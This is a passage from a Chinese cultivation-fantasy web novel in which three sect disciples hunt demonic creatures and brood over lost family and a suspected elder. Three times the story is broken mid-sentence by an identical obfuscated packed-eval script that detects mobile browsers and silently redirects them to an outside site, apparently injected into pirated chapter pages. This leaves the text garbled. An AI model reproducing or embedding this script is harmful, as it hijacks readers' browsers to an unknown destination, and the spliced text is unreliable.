听着对方提及玉牌的作用,汤穗穗连拒绝的话语都忘了,下意识低头看向手中冰凉的白玉牌。玉牌不过半个巴掌大小,但上面雕刻的纹样精美,背面雕刻“杜家商行”四字。 本就有分量的玉牌在对方的讲解下愈发沉重,坠得她用双手捧着,才勉强接住其中的沉重。 她转头地将求助的眼光望向身后的两位师姐,但此时两位师姐似乎聊得正欢,并未接受到她的求助信号。 “……所以说,地缚灵一事另有隐情?”蓝鄞听着姬忘尘简明扼要地总结亲王府的事情,并提出她自己的怀疑。前者神色凝重地倾听者,拧眉望向地面,大脑飞速运转,手上握紧缰绳的力道无意识加重。 前不久,蓝鄞主动请缨,提供宗门援助,顺利救下同门。同时也在她们几人的协助下,一并处理了当地的魔物。同行的几人先带着伤者回宗门,而她则留下来负责收尾工作。 当那边的一切处理干净后,她路过某个镇佃,想要在客栈歇脚时,无意听闻有人聊起王城青鹤街的传闻。上山前的蓝鄞原本就是王城中人,小时候也对青鹤街的传言略有耳闻,只不过那时她有过好奇,但无功而返。 现如今在乾坤宗历练多年的她,敏锐地察觉到了异样。心中暗叫不好,斥巨资买了匹好马昼夜兼程。当她按记忆的道路拐到青鹤街,正巧碰上她们二人,一路上悬在半空的心也终于可以落地。 既然青鹤街的问题已经解决,紧张了一路的蓝鄞终于能真的停下来歇口气。 而这边,姬忘尘不擅长和人打交道,就将杜蕴辰托付的物件交给汤穗穗,由她来转手。两人就站在稍远一些的地方,说起青鹤街的地缚灵一事。 “……我不知道。”听到蓝鄞的发问,姬忘尘摇摇头,犹豫着开口。她下意识地摸上怀里存放铃铛的地方,心绪十分复杂。 她只能用“不知道”来勉强掩盖呼之欲出的答案。 “不,你知道。”望着对方的动作和神情,蓝鄞可以从她的态度中猜到些许。或许对方心中早有想法,只是不敢细想。 其实蓝鄞心中也有一个怀疑的人选,从姬忘尘转述的话语来看,也正和那个人的某些行为吻合。再加上此刻姬忘尘的逃避行为,更让这个人选的可能性大大增加。 以往的她并非刨根问底之人,但看到对方脸上显而易见的逃避,忍不住挑衅开口:“我有,你敢听吗?” “……肆意猜忌长辈——”姬忘尘猛地抬头盯着蓝鄞,从她黝黑的眼睛中看到自己的倒影,听到自己假惺惺话语被对方直接打断。 “姬忘尘,”蓝鄞神色未变,盯着姬忘尘的脸好一阵看,几乎将面前人勉强维持冷静的面具扒下来:“我怎么不知道,你竟然是这种自欺欺人的性格?” “我没有。”姬忘尘嘴硬地坚持着,却错开对方审视的视线,低头垂眸不知道在想什么,垂在身侧的手无意识地攥紧了衣服。 她明白蓝鄞的意思。 ……可是她不敢猜。 面前人欲盖弥彰的模样反而更让蓝鄞坚定了心中的猜测,但是她不理解,姬忘尘又为什么会对整个人维护至此? “师姐,你们在说什么?”汤穗穗的声音适时打破两人间凝滞的气氛,她双手捧着方才杜曜桑给的玉佩,站在姬忘尘的身边。 她感受到空气间的不自然,眼神在两位师姐身上来回扫视,企图分析她们方才的谈话内容。 不过她并没有得到答案。 “穗穗,我发现你这个师姐竟然是个遇事逃避的性格,”蓝鄞先收回审视的眼光,用手肘怼向身旁的姬忘尘,笑着看向汤穗穗:“是不是很失望,不如改换门户,当我师妹算了?” “蓝鄞师姐你又开玩笑。”汤穗穗非但没有当真,反而靠得离姬忘尘更紧了些,贴近对方的手臂仰着下巴,“蓝师姐,这个笑话不好笑,请不要那么诋毁师姐。” “行了,就知道你会这么维护她,不说你师姐了。”蓝鄞只觉得自己自讨没趣,在穗穗面前提起她师姐的半点不是,就会立马被反驳。她只能习以为常地伸手,轻捏对方的脸蛋,权当发泄。 低头的姬忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720739|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尘发现汤穗穗手上的玉牌:“这是?” “哦哦!”汤穗穗连忙朝师姐摊开掌心,并将方才杜曜桑的话语转述了一遍。 姬忘尘抬头望向师妹身后杜家商行的位置,已经重新回到商行中的杜曜桑身影十分忙碌,在人群中穿梭。她将视线收回,伸手将师妹的手指盖起,让对方握紧了玉牌,又往对方的方向推进了一些:“既然是给你的,那就收下吧。” “我收下吗?”汤穗穗瞪大了眼睛,眼神写满了拒绝。她下意识地摇着头,头上的发誓也跟着她的动作一晃一晃,在阳光下闪出绚丽的色彩。 “难道你之后不想和我一起走了?” “当然不是!”汤穗穗想也不想地开口,生怕说慢了师姐就要伤心。 “那你拿着,和我拿着,又有什么区别呢?”对于说服汤穗穗,姬忘尘自诩还是有几分把握。 “这……”被师姐的话语怼回去的汤穗穗,无奈地伸手抓了抓头发。 师姐说得好有道理,她一时之间想不出什么话语反驳对方。 旁观两人互动的蓝鄞“噗嗤”地笑了出声,望着汤穗穗脑袋上灵动的山桃发簪笑着开口:“别的不说,穗穗,你头上这个发簪怪好看的,也还挺配你的……是自己买的吗?” “蓝师姐!”听到蓝师姐的问话,汤穗穗瞬间变换了雀跃的神情,双眼放亮望向蓝师姐。 在接触到穗穗眼神的一瞬间,蓝鄞随即预料到对方即将出口的话语,下意识地深呼吸,提高了些许音量呵止对方:“——我不知道!” 但为时已晚,汤穗穗的话语同一时间跳了出来:“你怎么知道是我师姐特地给我定制的!” “我、不、知、道!”蓝鄞咬牙切齿,伸手又一次捏少女圆润的脸蛋。面前的少女说出自己炫耀的话语之后,也眉眼弯弯地任由蓝师姐发泄。 蓝师姐虽然看起来动作十分用力,实际上也就轻轻地揪起自己的脸颊肉扯了扯,毫无威慑力。 捏完穗穗的脸,蓝鄞的情绪还没完全发泄,转头用力瞪向身旁一直沉默的姬忘尘。后者感受到她犀利的眼风后,扬眉耸肩摊开双手,脸上的神情看起来无辜极了。 然而这个自然的动作却引得蓝鄞上前一步,弯腰拉进距离,望着面前人的脸细细端详。 片刻后恢复原本的距离,蓝鄞语气复杂地开口:“你变了。” “是吗?”姬忘尘眨眨眼,不知道对方这句话从何而来。 “说不出来。”蓝鄞方才看了半天都没得出什么结论,也就不再深究扯了缰绳牵着马往外走,“就是觉得你没那么苦大仇深了。” 既然她们也解决了这里的问题,也是时候离开了。蓝鄞下意识地从怀里掏出罗盘,往其中注入灵气,罗盘的指针在上面慢悠悠地晃着。 另外两人也跟上她的步伐,汤穗穗上前一步跟上蓝鄞的脚步,跳着在她身边问道:“蓝师姐!我们要去哪里?” “我们?”蓝鄞挑着眉明知故问。 “当然啦!”汤穗穗又使出自己的额撒娇绝技,哄得蓝鄞服服帖帖。 得到汤穗穗“专属服务”的蓝鄞向身旁的姬忘尘洋洋得意地挑眉,后者没有回望她,很快换上落寞的神情,错开了眼神。 看到师姐这幅神态的汤穗穗霎时羞愧难当,又怕得罪蓝鄞师姐,只好跑到两人中间,使劲浑身解数同时安抚两位师姐。 轻松的时光总是短暂的,蓝鄞手中的罗盘剧烈地颤动了起来。 原本还在捉弄少女的两位瞬间收敛起脸上笑容,对视一眼点头示意,决定往罗盘指示的方向追踪过去。 67.鄞都 “呼,还好不是什么麻烦事。”蓝鄞拍掉手上的灰尘,伸了个懒腰。 方才罗盘指示的方向是在王城郊外不到百里的地方。等她们到达之后,发现了由逸散的魔气在野外蓄积成瘴兽,形成的时间应当是净化地缚灵前。城中的地缚灵被净化后,这里的瘴兽自然引起了指针的波动。 虽然不是什么棘手的问题,但处理起来也着实花费了不少功夫。她们不到晌午时离开的王城赶往此处,而现在再抬头时,太阳已经往西落了不少。 “我们要回宗门吗?”处在这样不早不晚的时间,汤穗穗也不知道她们该去哪里,再加上她一向听从师姐的安排,下意识将目光望向了师姐。 但此时的姬忘尘多少有点心不在焉,并没有马上回答汤穗穗的疑问。 听到问话的蓝鄞收回看向天际的视线,将手肘搭上少女的肩膀,低头望着少女脸上的担忧:“怎么,你想回宗门了?” 她摇摇头,有些担心师姐的情况:“我没有。……蓝师姐,我师姐她怎么了?” 她对师姐如今的神情有些担忧,想帮助到师姐,又不知道该说些什么。 顺着汤穗穗的视线望向姬忘尘,蓝鄞忍不住轻笑出声,她多少能从对方脸上的神情中猜到些什么。 虽然姬忘尘不如汤穗穗那般脸上写满了心中所想,但她的眼睛一直都藏不住秘密。 在这个时间点能够困扰姬忘尘的,无非就是那个物件的主人——蓝鄞多少也能理解,毕竟这个人曾经在宗门的风评一直不错,又是和姬忘尘多少有些关系的前辈。 所以作为局外人的她们,还是留出空间让当事人好好思考一番。 蓝鄞一边想着一边揽过小师妹的肩膀:“走,别管她,你师姐需要清静清静。” “可是……” “再不走天要黑了!”蓝鄞拉着汤穗穗往栓马匹的方向走过去,“难道你们要睡在野外?野外那是人睡的地方吗?” “……也不是没有过。”汤穗穗不敢大声反驳蓝师姐,低声呢喃。 跟着蓝师姐走时,她还忍不住回头。不过好在,师姐已经回神,跟在她们身后不远处。对上自己的视线时,师姐还勾出浅淡的笑容,似乎是想让自己安心下来。 看到师姐的笑容,汤穗穗确实放心不少。不仅仅是师姐,杜蕴辰的事情还坠在她的心口,还不能完全地放下——不过很快她就无暇顾忌杜蕴辰的事情了。 “蓝师姐,时间不是还早吗?” “对啊,怎么了?” “我们不能……稍微骑慢些吗?” “骑慢些有什么意思?”蓝鄞不以为然,“方才姬忘尘也不是那种慢吞吞的速度吧?” “话是这么说没错……”她勉强张开嘴,但面前呼啸的风刮得她的后半句话咽回了嗓子里。 因为不想让自己打扰到师姐的思考,汤穗穗主动对蓝鄞提出了同乘的想法,后者自然欣然答应。可是汤穗穗万万没有想到蓝师姐骑马时竟然是这种豪爽的性格…… 被迫又吃了一嘴狂风的汤穗穗在心中暗自发誓—— 一定要找机会学会骑马! 在蓝鄞风驰电掣的速度下,她们转眼间就抵达了下一个城镇。汤穗穗还以为是回王城的方向,没想到她们去了另一座。 由于身后的姬忘尘还没有赶过来,蓝鄞决定在城门不远处等对方。她轻盈翻身跳下马身,伸手搀扶着汤穗穗落在地上。 双脚刚落在地面的时候,汤穗穗甚至无意识地腿软,若不是身旁的蓝师姐还未松手,恐怕就要直接跪在地面上。 “好吧,是我的速度太快了。” 支撑着汤穗穗的蓝鄞认真检讨自己的过错。她今天刚开始收敛些,降低些许骑行的速度,但骑着骑着就忘了这回事。 “蓝师姐……”汤穗穗紧紧地抓着蓝师姐的手臂抬头望去,本来想说些什么控诉对方的行为。但就在对上面前人因兴奋而涨红的脸颊、和亮晶晶的眼眸时,她什么话都没有说出口。 “怎么了?傻了?”蓝鄞伸手在汤穗穗的眼前晃了晃,笑着念叨,“别吓傻了,我可没办法赔给姬忘尘。” “师姐你很开心对吧?”虽然说出口的是疑问句,但汤穗穗却用的笃定的语气。 之前在宗门的时候也见过蓝师姐开心的模样,但完全没有现在这样明显的神情。随着双脚落在了地面,游离的意识也逐渐回笼,后知后觉意识到方才所依靠的身体里几乎要跃出体外的心跳。 “嗯,你又想什么呢?我不是和平常一样吗?”蓝鄞不知道少女的想到了哪一茬,伸手轻弹对方的脑门。不过她还是认真地思考了汤穗穗话中的含义,“但又说回来,你这句话,倒也有几分恰当。” 在她很小的时候,在那些条条框框之下,骑马成了她为数不多的发泄的方式。也是从那时起,她习惯了快马的速度,并享受骑行时风刮在身上的感受,可以暂时将那些烦恼全部抛在脑后。 “那很好啊。”汤穗穗下意识地接上话茬,“要是师姐也能像你这样,拥有独特的发泄方式就好了,不至于全部闷在肚子里。” “喂,穗穗,过分了哈!”蓝鄞将手肘毫不客气地搭在少女的脑袋上,还伸手揉捏对方的脸,“怎么和我在一起还想着姬忘尘呢?我和她的差别就这么大吗?” “蓝师姐你听我狡辩……” 姬忘尘过来的时候,正好就看到这一副互相打闹的画面,她利落地翻身下马走了过去:“蓝鄞。” “你来了,那我就不客气了——”蓝鄞听话地松开揉捏面前少女的手,转身向说话的人伸出了“魔爪”。 不过姬忘尘轻松地避开了对方的手,站在原地眨了眨眼,眼神里有几分不明所以。 蓝鄞看向面前人冷静的脸,撇着嘴摆手,没了逗趣的心思。 一行人牵着马随意找了家看起来不错的客栈,订好了三人的房间。 与此同时,她们确实也饿得慌,顺便在客栈的一楼厅堂点好了餐食。三人围坐在四方桌等店小二上菜时,汤穗穗想起秦王当时给的礼物。 从那天收下到现在,她一直忙碌在各种各样的事情上,还没打开看过匣子中的物件。 于是,她将木匣掏出乾坤袋翻了出来,小心翼翼地将木匣打开。木匣最上方是一个金属的令牌,正面刻有“秦王”的字样,背面是她从来没见过的猛兽,还有一封信被压在令牌下面。 虽然秦王没有明说,但汤穗穗多少也能感受出来,大概也是如同杜曜桑给她的玉牌那样十分贵重的物件。她如烫手山芋一般扔回木匣,并将最下面的信件抽了出来。 这封信见识姜祀写给她的,对方在信中提到,那天之后他查阅过了如今的全部相关书籍文件, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724922|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实找到了洄山和立石村。立石村昔日归于承平郡主的封地鄞都所管辖,早在前朝时便已更名为“乔女村”。 本来姜祀想将此事当面告知对方,但恰巧北方有敌国挑衅,所以这段时间事务繁忙。原本想交予妹妹姜祯,不过妹妹又忙于什么事情,他没再过问,最后无奈只能托付秦王转交。 得知了来龙去脉,汤穗穗心中感激对方还对自己说过的话语上心,只可惜没能当面致谢。不过好在王城离宗门并不远,她们日后应当还有不少见面的机会,也不着急在这一时半刻。 比起这个,神秘的立石村总算是有了新的线索,她也上心信件提到的地方。 “……鄞都?乔女村?”汤穗穗觉得这个名字有些许奇怪,下意识地小声念叨出口。 正巧桌上的菜品已经上齐,一旁的蓝鄞将少女话语听了进去,转头望向对方:“鄞都怎么了?” 汤穗穗将之前与姜祀的对话,还有方才信件的内容三言两语道明:“师姐,你知道鄞都在哪里吗?” “当然知道了。”蓝鄞理所当然地开口,语气还夹杂着明显的笑意,“那可太熟了。” 这一下倒是让汤穗穗来了兴致:“师姐你去过?!” “那倒没有。”蓝鄞招呼着吃饭,脸色未变的开口,“毕竟曾经的封地,想要不熟悉也挺困难。” “什么?!” 汤穗穗怎么也没有想到,蓝鄞师姐的“鄞”竟然就是鄞都的“鄞”。 蓝师姐的神情十分坦然,但是她话语中的内容惊得汤穗穗张大了嘴巴,久久不能回神。 少女震惊的神情让蓝鄞忍不住笑了出来,连说起往昔身份时也不再抵触。 对于她来说,那些过去的身份不过是一层又一层的枷锁——不过在遇到汤穗穗之后,她已经在想办法把这些枷锁打破,过好属于“蓝鄞”的人生。 “都过去了。”想起那些往事,蓝鄞下意识收敛了脸上的笑容,顿了半晌,“那群人已经完全影响不到我了。” “所以蓝师姐你……?”汤穗穗觉得自己的脑子还不太能转弯。 “嗯,她是旧朝的承平郡主。”一直沉默的姬忘尘适时给自家师妹答疑解惑。 “哦?你怎么知道的?”蓝鄞挑了挑眉,脸上的神情变得十分得意,“你就这么关心我?” “我识字。”姬忘尘也挑眉回看回去,语气泰然自若,“我读过史书,也看过公文,上面都提到过你的名字。” “就不能是同名?” “有多少人能接得住这个名字呢?” “我就知道你关心我,不用解释。”蓝鄞没有在意姬忘尘的解释,“我赢了。” 虽然不知道蓝师姐为什么又和师姐比上了,但汤穗穗勉强从震惊中回过神来。她下意识地吞咽口水,望向蓝师姐:“鄞都离这里还远吗?” “也不远吧,往西再过四五个城镇就到了。”蓝鄞边夹菜边顺口接话,这坐客栈的手艺还不赖,简单的家常菜也炒得有模有样。 她的话语十分自然,完全不需要思考就开了口,地图就像刻在她脑海中一样自然。, “蓝师姐你好像早有准备的样子……”汤穗穗眨眨眼,望着面前神情自然的蓝师姐,“你是想去鄞都吗?” 听到猝不及防的问题,蓝鄞夹菜的筷子顿在半空,半晌没有动作。 68.重振旗鼓 随着汤穗穗的话语开口,周围的空气如同凝滞一般停在原地。周围琐碎的声音似乎被屏蔽,蓝鄞只听得到自己“隆隆”的心跳声,她下意识拉起嘴角,强颜欢笑掩盖自己的真正情绪。 “……怎么会呢?只是曾经很熟悉而已。” 汤穗穗张了张嘴,还想追问下去,却被蓝师姐又一次堵了回去:“好了好了,快吃吧,饭菜都凉了。” 之后蓝师姐怎么也不回答原来的问题,汤穗穗看着蓝师姐的脸色不太自然,也就歇了这个心思。 而一直沉默着的师姐就在这样的气氛下放了筷子,留下一句“我吃好了”转身上了楼上休息的房间。 看到两位师姐明显心里有事的样子,汤穗穗吃饭的心情也没有了,连晚上休息的时候也没那么舒坦。 寻常她还会主动围绕在师姐的身边,但今天师姐的样子明显不对劲,她也不敢去打扰师姐。汤穗穗抱着自己的腿坐在床上,将下巴抵在膝盖上,心中暗暗念叨,明天师姐的情况还没有变好的话,她就找师姐问个明白。 如果真的遇到了什么实在棘手的事情,自己解决不了的,那不如把问题说出来,大家集思广益才能解决清楚——其实这还是娘亲教给她的处理方式。 也正因如此,她一直不是将事情闷在心里的性格,习惯了有什么都有话直说。 她垂眸望着摆在面前的两块信物——秦王的令牌、杜曜桑的玉牌——摆放在自己的面前,眸中闪过复杂的情绪。和这两位一直锲而不舍寻找亲人相反,汤穗穗根本不敢迈出一步,生怕听到的就是坏消息,不如抱着虚无缥缈的期待自我安慰。 八年前的懵懂无知让她给自己编织了美好的梦境,现如今也后知后觉感受到当时残酷的事实。 即便如此,汤穗穗还是抱着一丝幻想,希望娘亲离别的那句话会是美好的期待。 ……这也是她很长的一段时间里,支撑自己不断往前走的信念。 “……娘亲、师傅……”汤穗穗神色茫然,完全卸下了平日里喜气洋洋的神态,轻声呢喃开口,“我该怎么办?” 这些情绪原本都被她积压在心底,不想流露出来让身边的师姐们担心。但现在两位师姐都心事重重的模样,也勾起了她藏在心里的矛盾。 ——可是啊,她始终相信,她们总有重逢的机会。 “我相信,我们一定会重逢的。”汤穗穗闭上眼再睁开时,眼睛已经完全充满了坚定,“只是还不到时候。” 这句说辞是姬忘尘最早告诉自己的,也是她这么多个年日里一直劝说自己的。 她和娘亲总会相见。 汤穗穗用力地晃晃脑袋,想要将愁闷的情绪全部甩掉。她在床上换成寻常打坐的姿势,闭上眼无声念出心法口诀运转周天。 这个方式是师姐教给她的,尤其是心情烦躁的时候,运转过几个周天后,灵气自然而然会祛除体内的烦躁不安。 今日,也同样起到了效果。汤穗穗心中不再燥闷之后,也就收拾收拾进入了梦乡。 而另一边,被汤穗穗念叨的姬忘尘正坐在椅子上,伸手垂眸望着银白透亮的长命锁,上面损坏的痕迹均跟她记忆中别无二致。从长命锁的外表看得出来,前人将其保存得很好,还专门去掉了上面的一层黑绣。 她的指腹从上面的纹路划过,放空自己的大脑,将全部心神放在触觉上。她原本以为,自己已经没有再看到它的机会。 但就在方才,她怀着复杂的心情打开秦王赠送的锦盒时,竟然看到的是这一块长命锁,锁上甚至还刻有她的乳名“岁岁”。 她原本以为对方没有认出自己,却没想到她不仅认出了自己,还将自己那块的长命锁保存得完好地送给自己。 曾经她一直以为,自己在母亲的心里的存在远小于她所追求的一切。但现在看来,或许自己也并非那么不值一提。 想到这里,姬忘尘收紧成拳,握住手中的长命锁,嘴角露出释怀的微笑,轻轻呼出闷在心口的浊气。 这样就够了。 娘亲有她往前的方向,她也有——现在,她想为杜蕴辰找到真相。 她从怀里又掏出先前凝结杜蕴辰灵体的铃铛,放在掌心。她之前怀疑铃铛的主人是师傅的师弟、也就是自己的小师舅,师傅以前不止一次提到过她们师门的趣事,他害怕自己的怀疑会伤到师傅的心。 可倘若真的是小师舅所为,她这样有所猜测而不去深究,难道不是对他恶行的一种纵容吗? 她曾经和杜蕴辰有过一段很长的交谈,也知晓了那人和杜蕴辰的几次交流。她笃定对方一定不仅仅只有杜蕴辰一个受害者,说不定在宗门不知情的情况下,对方还有更多不为人知的谋划。 也正是这样,她不能将这些事情放任不管。 ……哪怕最后会被师傅厌弃,她也一定要查明真相。 第二天一早,姬忘尘开门见山地将自己回宗门的想法说出。蓝鄞毫不意外,甚至打了个哈欠,又伸了个懒腰:“行啊,一起。” 既然说好了一起,三人就这样起身,一边闲聊一边沿原路返回宗门。 “蓝师姐你不去鄞都了吗?”汤穗穗在一旁插嘴,她完全没有相信昨晚蓝鄞的说辞。 “你这个小不点,我什么时候说要去鄞都了?”蓝鄞脸色涨红,伸手捏了把汤穗穗的脸,颇有几分咬牙切齿的模样,“那可都是你猜的,我可没答应。” 汤穗穗非但没有避开蓝鄞的手,反而笑眯眯地又问起昨晚的事情:“蓝师姐,师姐不是说你是郡主吗,你又是怎么会到乾坤宗来的?” “我?”蓝鄞没想到汤穗穗还会好奇这个,笑着简明扼要地总结,“我的故事就很简单了,我从小就能看到两气,又对阵法感兴趣。被她们寻到了乾坤宗,也就一直在山上修习。” “你会想念家人吗?”汤穗穗好奇地发问。 将心比心,她猜想蓝师姐应当也是想的……但碍于蓝师姐特殊的身份,就算想的话,估计也不知道他们如今身处何方。 “穗穗,皇家可没你想的那么简单。”蓝鄞只需一眼就知道对方在想什么。提起那些人,她下意识眯着眼,勾起嘴角不屑一顾,“我更想他们死早点。” “啊?” “他们那些人活着的时候把百姓连累成什么样,死了才好呢。”蓝鄞丝毫没有对亲人的留恋,冷笑着开口,“不过好在,他们现在已经是黄土一抔。” “蓝师姐……”汤穗穗抬头望着对方,对方嘴上的话语十分不留情,于是她试图从对方的眼神里看出些什么,但一无所获。 姬忘尘在一旁没有参与到两人的闲聊中,专心致志盯着手上的罗盘,才刚过城门,掌心的罗盘又开始剧烈颤动:“东南方。” “那别扯闲话,快走吧!”蓝鄞熟练翻身上马,一扯缰绳,和姬忘尘并肩。 三人追溯着罗盘指示的魔气的方向一路追随,最后落在在一片幽暗的深林里。深林层层叠叠,几人站在入口时几乎看不到魔气的痕迹。 就算动用灵气,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15734563|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能看到被紫气笼罩的深林。看浓郁程度,还有几分洄山上的架势,说不定与当时的蟒蛇境界不相上下。 “看来我们要进去才行。”面对这样的险要的情况,蓝鄞看着昏暗的森林入口前凝视片刻,偏头询问汤穗穗的建议,“这次看起来有些危险……怎么样,你要和我们同行吗?” “……我们?”汤穗穗环顾四周,这里只有她们三人。但无论怎么看,师姐和自己才是这个“我们”的范畴吧? “哦,你说姬忘尘?”蓝鄞顺着穗穗的视线看向已经下马,正在掐诀定位的姬忘尘,理所当然地开口,“不管你去不去,姬忘尘无论如何都会被我带进去的。” “师姐?”汤穗穗下意识想要找自家师姐求证。 姬忘尘对上师妹的眼神,想了想,打破了两人之间的沉默:“要是不想去的话,这附近应该还有村子,穗穗我可以和你留在附近的村子里……” 罗盘的指针在剧烈地颤动着,姬忘尘虽然嘴上是这么说着,但她低头眼睫轻颤,平静的脸上完全看不出心中在想什么。 虽然她嘴上说着可以和汤穗穗留下,但她实际上是想把汤穗穗安顿好之后,再回来除魔。 “得了吧,我不了解别人,难道我还不了解你吗?来都来了,你肯定不舍得放弃这个机会。”蓝鄞不为所动,直接点破了面前人的小计谋,“你要是敢抛下穗穗,她转眼就跟着你跑出来,到时候陷在危险里就更麻烦了。” “师姐!”汤穗穗瞪大了眼睛,努力说服面前的人,“我现在不弱的……” “我一个人——” “停,别说你一个人可以解决。”蓝鄞马上打断对方的话语,“说了一起,那就要一起。——对吧,穗穗?” “当然了!”汤穗穗从两人的聊天中听出来,师姐寻常都习惯了自己处理,蓝师姐好像有几分愤愤不平的意味。 想到当时洄山的艰险程度,她拉着师姐的手,轻轻地晃了晃,抬头含笑地看着面前的身影,语气有几分讨好的意味。“不过师姐,这次就让我们一起吧……” 姬忘尘将视线从相牵的手上移到师妹笑盈盈的面庞,犹豫再三抿着唇点了点头。 一旁的蓝鄞自然而然地搭上姬忘尘的肩膀,理所当然地开口:“还是得是我们汤穗穗!” 她牵着师姐的手,低声问蓝师姐:“……师姐以前都是一个人吗?” 身旁的姬忘尘低头垂眸抿着嘴,避开了师妹的目光,沉默不语。 “可别说我们孤立她,是她每次来去无踪,摸不着痕迹。以前宗门里只知道有一个强大的独行客,从不与人结伴。”蓝鄞看到对方这副模样,有些咬牙切齿地对少女诉苦,“当时好几拨小队同时指向一个地方,结果都被这位独行客轻而易举地了结那处的魔物。她的存在,在很长的一段时间里,是同门的阴影。” “师姐原来这么强吗?”汤穗穗非但没有觉得师姐可怕,反而对师姐的崇拜更上一层楼,“果然,师姐永远是我师姐。” “好好好,只有姬忘尘是你师姐,”蓝鄞对汤穗穗的模样已经习以为常,“而我也只是称呼上的‘蓝师姐’。” “没办法啦,蓝师姐。”汤穗穗笑得甜美,没有丝毫不好意思。 蓝鄞伸手没好气地戳了戳汤穗穗的脑袋,后者捂住自己的脑门,任由对方发作。 三人简单商议后,做好了防范的措施,就这样握紧自己的武器,拨开深林入口的杂草,由姬忘尘带头,蓝鄞断尾,小心翼翼往林中走过去。 69.又生变故 她们循着罗盘的指示往深林中走去,没走多久就遇到了她们的目标。 出现在她们面前的是被魔种寄生了许久的魔鹿,它的眼睛几乎能滴出鲜血般赤红。而它的眼睛被燥怒填充,视线扫过她们三人的时候,魔鹿毫不犹豫就将头上的长角对准了她们撞过来。 三人原本就有组队的经验,眼看魔鹿冲撞过来,彼此对视一眼点头,默契地分散开来,按她们先前的计划那样围堵魔鹿。 魔鹿虽然境界与当时洄山的魔蛇相当,但灵活远远不及魔蛇。魔鹿只懂得横冲直撞,没一会就被三人有意地引导下消耗了力气,停在原地粗喘着气。 在魔鹿疲乏的间隙,三人自然提起自己的武器,在彼此招式的相互配合下朝魔鹿砍去。 然而就在这样紧要的间隙,应当是和蓝鄞配合、用弯刀削弱魔鹿身上魔气的姬忘尘却掉了链子。不知为何,她的刀上并未附着灵气,而是结结实实地朝魔鹿身上劈砍——而被魔气炼化的身体自然刀枪不入,发出沉闷的声音。 但她脸色未变,片刻后又举起了灵气,按原计划继续行动着。面对突发情况,专心致志看着魔鹿动作的汤穗穗并未察觉到师姐的一场,蓝鄞则抽空瞥了姬忘尘一样,然而后者的脸上神色未变,看不出什么。 她回神沉住气,并没有出声,握紧自己的长枪尽量不要让自己分心,再多的疑问也得等到除掉魔鹿之后再说。 尽管蓝鄞在心里这样说服自己,但她还是忍不住分神关注对方的每一个动作。 不知道是不是因为刻意关注姬忘尘的原因,之后的几次配合里,对方总是有或多或少的出岔子:要么是想方才一样没有附着灵气,要么就是完全换了一种不用灵气的方式。 总的来书,姬忘尘的行为极其反常。 以蓝鄞对姬忘尘的了解来看,这些都是不应当、也不可能出现在对方身上的问题,但为什么她偏偏做出了这样的行为? 虽然姬忘尘失误屡屡,但几人还是顺利将魔鹿压制在原地,而汤穗穗就接受了魔种净化的任务。 在等待汤穗穗净化的时间,蓝鄞想找到姬忘尘问清楚,没想到对方先一步与她们拉开了距离,正低头看着自己的掌心,不知道在想什么。 蓝鄞握着自己的长枪向对方走了过去,不管对方在想什么,她今天一定要问清楚到底发生了什么才让她如此失常:“喂,姬忘尘……” 她的话还没说完,原本还在游神的姬忘尘看到她的靠近,连忙往后退了一大步,拉开了两人距离的同时眼神复杂地看了过来。 即使对方的脸上明摆着有事,但蓝鄞还是对姬忘尘拉开距离的行为十分生气。她控制不住音量,蹙着眉生气地开口喊道:“你什么意思?!” 另一边正好净化结束的汤穗穗连忙跑过来,她不知道发生了什么,但下意识地拦在蓝鄞面前:“蓝师姐,发生怎么了?” “你问我干什么,问你的好、师、姐。”被汤穗穗拦住的蓝鄞火气更大了,抱着胸侧着身不再看向姬忘尘。她望着周围的草木努力地压制着自己的脾气,胸膛控制不住地起伏,呼吸声也变得沉重。 “师姐……?”汤穗穗这才看到师姐离她们的距离有些远,她松开拉着蓝师姐的手,下意识地往师姐的方向迈了一步,想问清楚发生了什么事情。 然而就是这样简单的动作,姬忘尘却又退了一步,开口喊停对方的动作:“别过来!” 听到姬忘尘难得这么失态的声音,蓝鄞下意识回头,正好看到对方脸上不易察觉的慌乱。她还看到对方一直低着头望着自己的掌心,嘴唇翕动,胸膛不自然地起伏,似乎消化着什么令人震撼的消息。 “——喂,到底发生什么事了?”蓝鄞马上捕捉对方那抹一瞬即逝的神色,她的眉头蹙起来,重新转过身望着对方下意识担忧地开口。 虽然姬忘尘的行为很让她生气,但清楚地知道对方不是那样的人,一定是遇到了什么突发的情况。 为了掩饰自己的关心,蓝鄞还嘴硬地补充道:“我可没有关心你,要知道你已经是这个水平,我会后悔当时没有坚持参加最后的比试。” 